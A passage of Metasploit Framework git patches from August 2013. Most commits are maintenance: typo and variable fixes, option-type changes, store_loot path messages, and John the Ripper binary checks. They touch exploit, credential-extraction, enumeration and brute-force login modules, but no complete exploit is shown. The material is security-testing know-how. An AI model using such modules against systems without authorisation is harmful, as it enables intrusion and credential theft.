(Demo) on Windows XP SP3. }, diff --git a/modules/exploits/windows/http/intrasrv_bof.rb b/modules/exploits/windows/http/intrasrv_bof.rb index 7aeb4242099b4..41861f0ea4b52 100644 --- a/modules/exploits/windows/http/intrasrv_bof.rb +++ b/modules/exploits/windows/http/intrasrv_bof.rb @@ -19,7 +19,7 @@ def initialize(info={}) 'Description' => %q{ This module exploits a boundary condition error in Intrasrv Simple Web Server 1.0. The web interface does not validate the boundaries of an - HTTP request string prior to copying the data to an insufficiently large + HTTP request string prior to copying the data to an insufficiently sized buffer. Successful exploitation leads to arbitrary remote code execution in the context of the application. }, diff --git a/modules/exploits/windows/http/ultraminihttp_bof.rb b/modules/exploits/windows/http/ultraminihttp_bof.rb index 4b33537283f48..bcb4e69cbcde4 100644 --- a/modules/exploits/windows/http/ultraminihttp_bof.rb +++ b/modules/exploits/windows/http/ultraminihttp_bof.rb @@ -16,7 +16,7 @@ def initialize(info={}) super(update_info(info, 'Name' => "Ultra Mini HTTPD Stack Buffer Overflow", 'Description' => %q{ - This module exploits a stack based buffer overflow in Ultra Mini HTTPD 1.21 + This module exploits a stack based buffer overflow in Ultra Mini HTTPD 1.21, allowing remote attackers to execute arbitrary code via a long resource name in an HTTP request. }, From d89932bfd88c4612d4e275bfce778bbf9192ab85 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Mon, 19 Aug 2013 14:33:01 -0500 Subject: [PATCH 249/454] Use the correct variable --- modules/auxiliary/analyze/jtr_aix.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/analyze/jtr_aix.rb b/modules/auxiliary/analyze/jtr_aix.rb index 689986e6be4d2..18548665e51ca 100644 --- a/modules/auxiliary/analyze/jtr_aix.rb +++ b/modules/auxiliary/analyze/jtr_aix.rb @@ -60,7 +60,7 @@ def run end hashlist = Rex::Quickfile.new("jtrtmp") - hashlist.write(row) + hashlist.write(loot_data) hashlist.close print_status("HashList: #{hashlist.path}") From d0b56e1650e87b1d0ee704f734665e27b7501820 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Mon, 19 Aug 2013 14:38:40 -0500 Subject: [PATCH 250/454] Use the correct variable --- modules/auxiliary/client/smtp/emailer.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/client/smtp/emailer.rb b/modules/auxiliary/client/smtp/emailer.rb index 569ed58d733c2..4b108bf0689d0 100644 --- a/modules/auxiliary/client/smtp/emailer.rb +++ b/modules/auxiliary/client/smtp/emailer.rb @@ -50,7 +50,7 @@ def load_yaml_conf opts = {} File.open(datastore['YAML_CONFIG'], "rb") do |f| - yamlconf = YAML::load(fileconf) + yamlconf = YAML::load(f) opts['to'] = yamlconf['to'] opts['from'] = yamlconf['from'] From 2e74c508807e2847e0243cae7d098856345110cb Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Mon, 19 Aug 2013 15:02:15 -0500 Subject: [PATCH 251/454] [SeeRM #8313] - Print where files are stored As an user, I want to be able to see where my file is stored when the module I'm using runs a store_loot(). --- modules/auxiliary/scanner/sap/sap_mgmt_con_startprofile.rb | 3 ++- .../auxiliary/scanner/vmware/vmware_enum_permissions.rb | 4 +++- modules/auxiliary/scanner/vmware/vmware_enum_sessions.rb | 3 ++- modules/auxiliary/scanner/vmware/vmware_enum_users.rb | 7 +++++-- modules/auxiliary/scanner/vmware/vmware_enum_vms.rb | 4 +++- modules/auxiliary/scanner/vmware/vmware_host_details.rb | 4 +++- 6 files changed, 18 insertions(+), 7 deletions(-) diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_startprofile.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_startprofile.rb index b33efab6035de..b3c07c0d8b931 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_startprofile.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_startprofile.rb @@ -127,7 +127,7 @@ def getStartProfile(rhost) if success print_good("#{rhost}:#{rport} [SAP] Startup Profile Extracted: #{name}") - store_loot( + f = store_loot( "sap.profile", "text/xml", rhost, @@ -135,6 +135,7 @@ def getStartProfile(rhost) "sap_profile.xml", "SAP Profile XML" ) + vprint_status("Response stored in: #{f}") env.each do |output| print_status("#{output[0]}") diff --git a/modules/auxiliary/scanner/vmware/vmware_enum_permissions.rb b/modules/auxiliary/scanner/vmware/vmware_enum_permissions.rb index 8815bce4c4f17..06bd6e9114528 100644 --- a/modules/auxiliary/scanner/vmware/vmware_enum_permissions.rb +++ b/modules/auxiliary/scanner/vmware/vmware_enum_permissions.rb @@ -81,7 +81,9 @@ def run_host(ip) tmp_perms << [perm['principal'], perm['group'], role_name , role_summary] end print_good tmp_perms.to_s - store_loot('host.vmware.permissions', "text/plain", datastore['RHOST'], tmp_perms.to_csv , "#{datastore['RHOST']}_esx_permissions.txt", "VMWare ESX Permissions") + + f = store_loot('host.vmware.permissions', "text/plain", datastore['RHOST'], tmp_perms.to_csv , "#{datastore['RHOST']}_esx_permissions.txt", "VMWare ESX Permissions") + vprint_status("Permission info stored in: #{f}") end else print_error "Login Failure on #{ip}" diff --git a/modules/auxiliary/scanner/vmware/vmware_enum_sessions.rb b/modules/auxiliary/scanner/vmware/vmware_enum_sessions.rb index 8e1021578d2fa..bfea7c5b6c886 100644 --- a/modules/auxiliary/scanner/vmware/vmware_enum_sessions.rb +++ b/modules/auxiliary/scanner/vmware/vmware_enum_sessions.rb @@ -67,7 +67,8 @@ def run_host(ip) output << tmp_line end unless output.empty? - store_loot("host.vmware.sessions", "text/plain", datastore['RHOST'], output, "vmware_sessions.txt", "Login Sessions for VMware") + f = store_loot("host.vmware.sessions", "text/plain", datastore['RHOST'], output, "vmware_sessions.txt", "Login Sessions for VMware") + vprint_status("Login sessions stored in: #{f}") end end else diff --git a/modules/auxiliary/scanner/vmware/vmware_enum_users.rb b/modules/auxiliary/scanner/vmware/vmware_enum_users.rb index 700fb3f96a90c..2be51eef405a6 100644 --- a/modules/auxiliary/scanner/vmware/vmware_enum_users.rb +++ b/modules/auxiliary/scanner/vmware/vmware_enum_users.rb @@ -119,9 +119,12 @@ def run_host(ip) end end print_good tmp_dgroups.to_s - store_loot('domain.groups', "text/plain", datastore['RHOST'], tmp_dgroups.to_csv , "#{domain}_esx_groups.txt", "VMWare ESX #{domain} Domain User Groups") + + f = store_loot('domain.groups', "text/plain", datastore['RHOST'], tmp_dgroups.to_csv , "#{domain}_esx_groups.txt", "VMWare ESX #{domain} Domain User Groups") + vprint_status("VMWare domain user groups stored in: #{f}") print_good tmp_dusers.to_s - store_loot('domain.users', "text/plain", datastore['RHOST'], tmp_dgroups.to_csv , "#{domain}_esx_users.txt", "VMWare ESX #{domain} Domain Users") + f = store_loot('domain.users', "text/plain", datastore['RHOST'], tmp_dgroups.to_csv , "#{domain}_esx_users.txt", "VMWare ESX #{domain} Domain Users") + vprint_status("VMWare users stored in: #{f}") end end end diff --git a/modules/auxiliary/scanner/vmware/vmware_enum_vms.rb b/modules/auxiliary/scanner/vmware/vmware_enum_vms.rb index 175571e14c7e2..b21b167255d97 100644 --- a/modules/auxiliary/scanner/vmware/vmware_enum_vms.rb +++ b/modules/auxiliary/scanner/vmware/vmware_enum_vms.rb @@ -73,7 +73,9 @@ def run_host(ip) print_good "Screenshot Saved to #{ss_path}" end end - store_loot('host.vmware.vms', "text/plain", datastore['RHOST'], YAML.dump(virtual_machines) , "#{datastore['RHOST']}_esx_vms.txt", "VMWare ESX Virtual Machines") + + f = store_loot('host.vmware.vms', "text/plain", datastore['RHOST'], YAML.dump(virtual_machines) , "#{datastore['RHOST']}_esx_vms.txt", "VMWare ESX Virtual Machines") + vprint_status("VM info stored in: #{f}") else print_error "Login Failure on #{ip}" return diff --git a/modules/auxiliary/scanner/vmware/vmware_host_details.rb b/modules/auxiliary/scanner/vmware/vmware_host_details.rb index 5bf6a1fbcc0e6..c4983e486ad75 100644 --- a/modules/auxiliary/scanner/vmware/vmware_host_details.rb +++ b/modules/auxiliary/scanner/vmware/vmware_host_details.rb @@ -46,7 +46,9 @@ def run_host(ip) host_summary = vim_get_all_host_summary(datastore['HW_DETAILS']) output << YAML.dump(host_summary) print_good output - store_loot('vmware_host_details', "text/plain", datastore['RHOST'], output, "#{datastore['RHOST']}_vmware_host.txt", "VMWare Host Details") + + f = store_loot('vmware_host_details', "text/plain", datastore['RHOST'], output, "#{datastore['RHOST']}_vmware_host.txt", "VMWare Host Details") + vprint_status("Host details stored in: #{f}") else print_error "Login Failure on #{ip}" return From fb5ded147212598875a0ce47ad01c03c76130087 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Mon, 19 Aug 2013 15:30:33 -0500 Subject: [PATCH 252/454] [FixRM #8314] - Use OptPath instead of OptString These modules need to use OptPath to make sure the path is validated. --- modules/auxiliary/admin/oracle/oracle_login.rb | 2 +- modules/auxiliary/scanner/http/mod_negotiation_brute.rb | 2 +- modules/auxiliary/scanner/pop3/pop3_login.rb | 3 ++- 3 files changed, 4 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/admin/oracle/oracle_login.rb b/modules/auxiliary/admin/oracle/oracle_login.rb index e5ebb671eb885..8ace4de6d4dbf 100644 --- a/modules/auxiliary/admin/oracle/oracle_login.rb +++ b/modules/auxiliary/admin/oracle/oracle_login.rb @@ -31,7 +31,7 @@ def initialize(info = {}) register_options( [ - OptString.new('CSVFILE', [ false, 'The file that contains a list of default accounts.', File.join(Msf::Config.install_root, 'data', 'wordlists', 'oracle_default_passwords.csv')]), + Optpath.new('CSVFILE', [ false, 'The file that contains a list of default accounts.', File.join(Msf::Config.install_root, 'data', 'wordlists', 'oracle_default_passwords.csv')]), ], self.class) deregister_options('DBUSER','DBPASS') diff --git a/modules/auxiliary/scanner/http/mod_negotiation_brute.rb b/modules/auxiliary/scanner/http/mod_negotiation_brute.rb index 9c2ec3177e3fe..aeeefcff214a3 100644 --- a/modules/auxiliary/scanner/http/mod_negotiation_brute.rb +++ b/modules/auxiliary/scanner/http/mod_negotiation_brute.rb @@ -31,7 +31,7 @@ def initialize(info = {}) register_options( [ OptString.new('PATH', [ true, "The path to detect mod_negotiation", '/']), - OptString.new('FILEPATH',[true, "path to file with file names", + OptPath.new('FILEPATH',[true, "path to file with file names", File.join(Msf::Config.install_root, "data", "wmap", "wmap_files.txt")]) ], self.class) end diff --git a/modules/auxiliary/scanner/pop3/pop3_login.rb b/modules/auxiliary/scanner/pop3/pop3_login.rb index e895ba554631a..e68c4ea514fce 100644 --- a/modules/auxiliary/scanner/pop3/pop3_login.rb +++ b/modules/auxiliary/scanner/pop3/pop3_login.rb @@ -32,13 +32,14 @@ def initialize register_options( [ Opt::RPORT(110), + # Should be OptPath OptString.new('USER_FILE', [ false, 'The file that contains a list of probable users accounts.', File.join(Msf::Config.install_root, 'data', 'wordlists', 'unix_users.txt') ]), - OptString.new('PASS_FILE', + OptPath.new('PASS_FILE', [ false, 'The file that contains a list of probable passwords.', From 17b5e57280c683734b2837d83576116a41aa8de4 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Mon, 19 Aug 2013 15:32:19 -0500 Subject: [PATCH 253/454] Typo --- modules/auxiliary/admin/oracle/oracle_login.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/admin/oracle/oracle_login.rb b/modules/auxiliary/admin/oracle/oracle_login.rb index 8ace4de6d4dbf..fc332fa23bfbf 100644 --- a/modules/auxiliary/admin/oracle/oracle_login.rb +++ b/modules/auxiliary/admin/oracle/oracle_login.rb @@ -31,7 +31,7 @@ def initialize(info = {}) register_options( [ - Optpath.new('CSVFILE', [ false, 'The file that contains a list of default accounts.', File.join(Msf::Config.install_root, 'data', 'wordlists', 'oracle_default_passwords.csv')]), + OptPath.new('CSVFILE', [ false, 'The file that contains a list of default accounts.', File.join(Msf::Config.install_root, 'data', 'wordlists', 'oracle_default_passwords.csv')]), ], self.class) deregister_options('DBUSER','DBPASS') From 8c03e905dee61bb662baeae87142304843df5dc7 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Mon, 19 Aug 2013 16:09:10 -0500 Subject: [PATCH 254/454] Get rid of function that's never used RPORT datastore option is deregistered, and is never used anywhere in the module, so I don't why we need this rport() function here. --- modules/auxiliary/scanner/mssql/mssql_ping.rb | 4 ---- 1 file changed, 4 deletions(-) diff --git a/modules/auxiliary/scanner/mssql/mssql_ping.rb b/modules/auxiliary/scanner/mssql/mssql_ping.rb index d541980f1e35d..4e13d485fc52c 100644 --- a/modules/auxiliary/scanner/mssql/mssql_ping.rb +++ b/modules/auxiliary/scanner/mssql/mssql_ping.rb @@ -26,10 +26,6 @@ def initialize deregister_options('RPORT', 'RHOST') end - def rport - datastore['RPORT'] - end - def run_host(ip) begin From 58d5cf6faac58bdd9914219cf80d00678f04b3f4 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Mon, 19 Aug 2013 16:16:34 -0500 Subject: [PATCH 255/454] Module should use OptRegexp for regex pattern option Instead of using OptString, OptRegexp should be used because this datastore option is a regex pattern. --- modules/auxiliary/scanner/http/scraper.rb | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/modules/auxiliary/scanner/http/scraper.rb b/modules/auxiliary/scanner/http/scraper.rb index c601ff23e52ee..d82ee7600ea5f 100644 --- a/modules/auxiliary/scanner/http/scraper.rb +++ b/modules/auxiliary/scanner/http/scraper.rb @@ -29,7 +29,7 @@ def initialize register_options( [ OptString.new('PATH', [ true, "The test path to the page to analize", '/']), - OptString.new('REGEX', [ true, "The regex to use (default regex is a sample to grab page title)", '\<title\>(.*)\<\/title\>']), + OptRegexp.new('REGEX', [ true, "The regex to use (default regex is a sample to grab page title)", '\<title\>(.*)\<\/title\>']) ], self.class) @@ -57,8 +57,6 @@ def run_host(target_host) return end - aregex = Regexp.new(datastore['REGEX'].to_s,Regexp::IGNORECASE) - result = res.body.scan(aregex).flatten.map{ |s| s.strip }.uniq result.each do |u| From 8eb9266bffe2f01fb9cbfbd196b277d249509603 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Mon, 19 Aug 2013 16:19:03 -0500 Subject: [PATCH 256/454] Use the correct var --- modules/auxiliary/scanner/http/scraper.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/scraper.rb b/modules/auxiliary/scanner/http/scraper.rb index d82ee7600ea5f..4e96996514229 100644 --- a/modules/auxiliary/scanner/http/scraper.rb +++ b/modules/auxiliary/scanner/http/scraper.rb @@ -57,7 +57,7 @@ def run_host(target_host) return end - result = res.body.scan(aregex).flatten.map{ |s| s.strip }.uniq + result = res.body.scan(datastore['REGEX']).flatten.map{ |s| s.strip }.uniq result.each do |u| print_status("[#{target_host}] #{tpath} [#{u}]") From cf10a0ca913b3e2f4ab444bbfcfbb982b7bcdfc0 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Mon, 19 Aug 2013 16:25:44 -0500 Subject: [PATCH 257/454] Use print_line instead of print These modules should be using print_line instead of print --- modules/auxiliary/scanner/sap/sap_mgmt_con_getprocesslist.rb | 2 +- modules/auxiliary/scanner/sap/sap_mgmt_con_listlogfiles.rb | 3 ++- modules/auxiliary/scanner/sap/sap_router_info_request.rb | 2 +- 3 files changed, 4 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocesslist.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocesslist.rb index c1f976f0e38cb..3f34ed9a3e9a5 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocesslist.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocesslist.rb @@ -139,7 +139,7 @@ def getprocesslist(rhost) saptbl << [ output[0], output[1], output[3], output[4], output[5] ] end - print(saptbl.to_s) + print_line(saptbl.to_s) # This needs to be print_line return elsif fault print_error("#{rhost}:#{rport} [SAP] Error code: #{faultcode}") diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_listlogfiles.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_listlogfiles.rb index 8a9d437fe548c..7752df7d2e7d6 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_listlogfiles.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_listlogfiles.rb @@ -146,12 +146,13 @@ def listfiles(rhost) "sap_listlogfiles.xml", "SAP #{datastore['FILETYPE'].downcase}" ) + # Report to the user where this is stored env.each do |output| saptbl << [ output[0], output[1], output[2] ] end - print(saptbl.to_s) + print_line(saptbl.to_s) # Needs to be print_line return elsif fault diff --git a/modules/auxiliary/scanner/sap/sap_router_info_request.rb b/modules/auxiliary/scanner/sap/sap_router_info_request.rb index a2ec7a1d10b81..4fabbbdc780f3 100644 --- a/modules/auxiliary/scanner/sap/sap_router_info_request.rb +++ b/modules/auxiliary/scanner/sap/sap_router_info_request.rb @@ -173,7 +173,7 @@ def run_host(ip) end disconnect # TODO: This data should be saved somewhere. A note on the host would be nice. - print(saptbl.to_s) + print_line(saptbl.to_s) # Should be print_line end end end From 154b1e8888e678fbd7da021da2045c34cd0fa53f Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Mon, 19 Aug 2013 16:27:35 -0500 Subject: [PATCH 258/454] Remove comments --- modules/auxiliary/scanner/sap/sap_mgmt_con_getprocesslist.rb | 2 +- modules/auxiliary/scanner/sap/sap_mgmt_con_listlogfiles.rb | 2 +- modules/auxiliary/scanner/sap/sap_router_info_request.rb | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocesslist.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocesslist.rb index 3f34ed9a3e9a5..6165de2443397 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocesslist.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_getprocesslist.rb @@ -139,7 +139,7 @@ def getprocesslist(rhost) saptbl << [ output[0], output[1], output[3], output[4], output[5] ] end - print_line(saptbl.to_s) # This needs to be print_line + print_line(saptbl.to_s) return elsif fault print_error("#{rhost}:#{rport} [SAP] Error code: #{faultcode}") diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_listlogfiles.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_listlogfiles.rb index 7752df7d2e7d6..b61c8ac678147 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_listlogfiles.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_listlogfiles.rb @@ -152,7 +152,7 @@ def listfiles(rhost) saptbl << [ output[0], output[1], output[2] ] end - print_line(saptbl.to_s) # Needs to be print_line + print_line(saptbl.to_s) return elsif fault diff --git a/modules/auxiliary/scanner/sap/sap_router_info_request.rb b/modules/auxiliary/scanner/sap/sap_router_info_request.rb index 4fabbbdc780f3..ebde2fd53c061 100644 --- a/modules/auxiliary/scanner/sap/sap_router_info_request.rb +++ b/modules/auxiliary/scanner/sap/sap_router_info_request.rb @@ -173,7 +173,7 @@ def run_host(ip) end disconnect # TODO: This data should be saved somewhere. A note on the host would be nice. - print_line(saptbl.to_s) # Should be print_line + print_line(saptbl.to_s) end end end From a8ca32ab34f144f903f851a29432bb44f5e26efb Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Mon, 19 Aug 2013 16:28:58 -0500 Subject: [PATCH 259/454] Oh yeah, need to do this too --- modules/auxiliary/scanner/sap/sap_mgmt_con_listlogfiles.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/sap/sap_mgmt_con_listlogfiles.rb b/modules/auxiliary/scanner/sap/sap_mgmt_con_listlogfiles.rb index b61c8ac678147..79905f842453a 100644 --- a/modules/auxiliary/scanner/sap/sap_mgmt_con_listlogfiles.rb +++ b/modules/auxiliary/scanner/sap/sap_mgmt_con_listlogfiles.rb @@ -138,7 +138,7 @@ def listfiles(rhost) "Timestamp" ]) - store_loot( + f = store_loot( "sap.#{datastore['FILETYPE'].downcase}file", "text/xml", rhost, @@ -146,7 +146,7 @@ def listfiles(rhost) "sap_listlogfiles.xml", "SAP #{datastore['FILETYPE'].downcase}" ) - # Report to the user where this is stored + vprint_status("sap_listlogfiles.xml stored in: #{f}") env.each do |output| saptbl << [ output[0], output[1], output[2] ] From 7e3713083723fc7c222dfbc172458df106b23155 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan.vazquez@metasploit.com> Date: Mon, 19 Aug 2013 16:34:02 -0500 Subject: [PATCH 260/454] Patch for [SeeRM #8315] --- lib/msf/core/auxiliary/jtr.rb | 27 ++++++++++++++++++++++++--- 1 file changed, 24 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/auxiliary/jtr.rb b/lib/msf/core/auxiliary/jtr.rb index bcd974a98c21b..d1e33a7a8369b 100644 --- a/lib/msf/core/auxiliary/jtr.rb +++ b/lib/msf/core/auxiliary/jtr.rb @@ -101,10 +101,17 @@ def john_cracked_passwords def john_show_passwords(hfile, format=nil) res = {:cracked => 0, :uncracked => 0, :users => {} } + john_command = john_binary_path + + if john_command.nil? + print_error("John the Ripper executable not found") + return res + end + pot = john_pot_file conf = ::File.join(john_base_path, "confs", "john.conf") - cmd = [ john_binary_path, "--show", "--conf=#{conf}", "--pot=#{pot}", hfile] + cmd = [ john_command, "--show", "--conf=#{conf}", "--pot=#{pot}", hfile] if format cmd << "--format=" + format @@ -140,6 +147,13 @@ def john_unshadow(passwd_file,shadow_file) retval="" + john_command = john_binary_path + + if john_command.nil? + print_error("John the Ripper executable not found") + return nil + end + if File.exists?(passwd_file) unless File.readable?(passwd_file) print_error("We do not have permission to read #{passwd_file}") @@ -161,7 +175,7 @@ def john_unshadow(passwd_file,shadow_file) end - cmd = [ john_binary_path.gsub(/john$/, "unshadow"), passwd_file , shadow_file ] + cmd = [ john_command.gsub(/john$/, "unshadow"), passwd_file , shadow_file ] if RUBY_VERSION =~ /^1\.8\./ cmd = cmd.join(" ") @@ -237,9 +251,16 @@ def john_crack(hfile, opts={}) res = {:cracked => 0, :uncracked => 0, :users => {} } + john_command = john_binary_path + + if john_command.nil? + print_error("John the Ripper executable not found") + return nil + end + # Don't bother making a log file, we'd just have to rm it when we're # done anyway. - cmd = [ john_binary_path, "--session=" + john_session_id, "--nolog"] + cmd = [ john_command, "--session=" + john_session_id, "--nolog"] if opts[:conf] cmd << ( "--conf=" + opts[:conf] ) From 7fc37231e07d60619b6609f059cbe58c1fd3f87f Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Mon, 19 Aug 2013 16:34:14 -0500 Subject: [PATCH 261/454] Fix email format Correct email format --- .../auxiliary/admin/http/dlink_dsl320b_password_extractor.rb | 2 +- modules/auxiliary/scanner/http/dlink_dir_300_615_http_login.rb | 2 +- modules/auxiliary/scanner/http/dlink_dir_615h_http_login.rb | 2 +- .../auxiliary/scanner/http/dlink_dir_session_cgi_http_login.rb | 2 +- modules/auxiliary/scanner/http/ssl.rb | 2 +- 5 files changed, 5 insertions(+), 5 deletions(-) diff --git a/modules/auxiliary/admin/http/dlink_dsl320b_password_extractor.rb b/modules/auxiliary/admin/http/dlink_dsl320b_password_extractor.rb index a152d4868b327..9747a18cf16a7 100644 --- a/modules/auxiliary/admin/http/dlink_dsl320b_password_extractor.rb +++ b/modules/auxiliary/admin/http/dlink_dsl320b_password_extractor.rb @@ -28,7 +28,7 @@ def initialize [ 'URL', 'http://www.dlink.com/de/de/home-solutions/connect/modems-and-gateways/dsl-320b-adsl-2-ethernet-modem' ], ], 'Author' => [ - 'Michael Messner <devnull@s3cur1ty.de>', + 'Michael Messner <devnull[at]s3cur1ty.de>' ], 'License' => MSF_LICENSE ) diff --git a/modules/auxiliary/scanner/http/dlink_dir_300_615_http_login.rb b/modules/auxiliary/scanner/http/dlink_dir_300_615_http_login.rb index ddc8b1213dd17..1bb2604a03dc2 100644 --- a/modules/auxiliary/scanner/http/dlink_dir_300_615_http_login.rb +++ b/modules/auxiliary/scanner/http/dlink_dir_300_615_http_login.rb @@ -28,7 +28,7 @@ def initialize 'Author' => [ 'hdm', #http_login module - 'Michael Messner <devnull@s3cur1ty.de>' #dlink login included + 'Michael Messner <devnull[at]s3cur1ty.de>' #dlink login included ], 'References' => [ diff --git a/modules/auxiliary/scanner/http/dlink_dir_615h_http_login.rb b/modules/auxiliary/scanner/http/dlink_dir_615h_http_login.rb index c3893aed0e294..0263a44f0a90b 100644 --- a/modules/auxiliary/scanner/http/dlink_dir_615h_http_login.rb +++ b/modules/auxiliary/scanner/http/dlink_dir_615h_http_login.rb @@ -26,7 +26,7 @@ def initialize }, 'Author' => [ 'hdm', #http_login module - 'Michael Messner <devnull@s3cur1ty.de>' #dlink login included + 'Michael Messner <devnull[at]s3cur1ty.de>' #dlink login included ], 'References' => [ diff --git a/modules/auxiliary/scanner/http/dlink_dir_session_cgi_http_login.rb b/modules/auxiliary/scanner/http/dlink_dir_session_cgi_http_login.rb index 71d46964f4c12..e8d24e321c53d 100644 --- a/modules/auxiliary/scanner/http/dlink_dir_session_cgi_http_login.rb +++ b/modules/auxiliary/scanner/http/dlink_dir_session_cgi_http_login.rb @@ -29,7 +29,7 @@ def initialize 'Author' => [ 'hdm', #http_login module - 'Michael Messner <devnull@s3cur1ty.de>' #dlink login included + 'Michael Messner <devnull[at]s3cur1ty.de>' #dlink login included ], 'References' => [ diff --git a/modules/auxiliary/scanner/http/ssl.rb b/modules/auxiliary/scanner/http/ssl.rb index 4ffe5a959e4b5..08b173fa9737a 100644 --- a/modules/auxiliary/scanner/http/ssl.rb +++ b/modules/auxiliary/scanner/http/ssl.rb @@ -24,7 +24,7 @@ def initialize [ 'et', #original module 'Chris John Riley', #additions - 'Veit Hailperin <hailperv@gmail.com>', # checks for public key size, valid time + 'Veit Hailperin <hailperv[at]gmail.com>', # checks for public key size, valid time ], 'License' => MSF_LICENSE ) From 491ea81acfbf24a918222e76a450f3dc66ac2669 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan.vazquez@metasploit.com> Date: Mon, 19 Aug 2013 16:42:52 -0500 Subject: [PATCH 262/454] Fix calls to fail_with from mixins --- lib/msf/core/exploit/http/client.rb | 2 +- lib/msf/core/exploit/mssql_sqli.rb | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/exploit/http/client.rb b/lib/msf/core/exploit/http/client.rb index ab0c7161122e5..37a595c945635 100644 --- a/lib/msf/core/exploit/http/client.rb +++ b/lib/msf/core/exploit/http/client.rb @@ -126,7 +126,7 @@ def validate_fingerprint() opts[:pattern].each do |re| if not re.match(info) err = "The target server fingerprint \"#{info}\" does not match \"#{re.to_s}\", use 'set FingerprintCheck false' to disable this check." - fail_with(Msf::Exploit::Failure::NotFound, err) + fail_with(Failure::NotFound, err) end end end diff --git a/lib/msf/core/exploit/mssql_sqli.rb b/lib/msf/core/exploit/mssql_sqli.rb index 62ec63fa2294b..c5c7bd4dfb2cc 100644 --- a/lib/msf/core/exploit/mssql_sqli.rb +++ b/lib/msf/core/exploit/mssql_sqli.rb @@ -144,7 +144,7 @@ def mssql_query(sqla, doprint=false) if (datastore['METHOD'] == 'GET') unless datastore['GET_PATH'].index("[SQLi]") - fail_with(Exploit::Failure::NoTarget, "The SQL injection parameter was not specified in the GET path") + fail_with(Failure::NoTarget, "The SQL injection parameter was not specified in the GET path") end uri = datastore['GET_PATH'].gsub("[SQLi]", Rex::Text.uri_encode(sqla)) @@ -160,7 +160,7 @@ def mssql_query(sqla, doprint=false) else unless datastore['DATA'].index("[SQLi]") - fail_with(Exploit::Failure::NoTarget, "The SQL injection parameter was not specified in the POST data") + fail_with(Failure::NoTarget, "The SQL injection parameter was not specified in the POST data") end post_data = datastore['DATA'].gsub("[SQLi]", Rex::Text.uri_encode(sqla)) From 5366453031ac2cdac5f3ced1e30a51eb47a983c9 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Mon, 19 Aug 2013 16:51:19 -0500 Subject: [PATCH 263/454] [FixRM #8316] - Escape characters correctly dots need to be escaped --- modules/auxiliary/admin/cisco/vpn_3000_ftp_bypass.rb | 2 +- .../auxiliary/admin/http/dlink_dir_645_password_extractor.rb | 2 +- modules/auxiliary/admin/http/typo3_sa_2009_001.rb | 4 ++-- modules/auxiliary/admin/http/typo3_sa_2010_020.rb | 4 ++-- .../auxiliary/admin/http/typo3_winstaller_default_enc_keys.rb | 4 ++-- 5 files changed, 8 insertions(+), 8 deletions(-) diff --git a/modules/auxiliary/admin/cisco/vpn_3000_ftp_bypass.rb b/modules/auxiliary/admin/cisco/vpn_3000_ftp_bypass.rb index b0890ea45e465..b0bd4d638a360 100644 --- a/modules/auxiliary/admin/cisco/vpn_3000_ftp_bypass.rb +++ b/modules/auxiliary/admin/cisco/vpn_3000_ftp_bypass.rb @@ -63,7 +63,7 @@ def run print_status("\tAttempting to delete directory: RMD #{test}") sock.put("RMD #{test}\r\n") res = sock.get(-1,5) - if (res =~ /250 RMD command successful./) + if (res =~ /250 RMD command successful\./) print_status("\tDirectory #{test} reportedly deleted. Verifying with SIZE #{test}") sock.put("SIZE #{test}\r\n") res = sock.get(-1,5) diff --git a/modules/auxiliary/admin/http/dlink_dir_645_password_extractor.rb b/modules/auxiliary/admin/http/dlink_dir_645_password_extractor.rb index d960dd9aced33..01df326908451 100644 --- 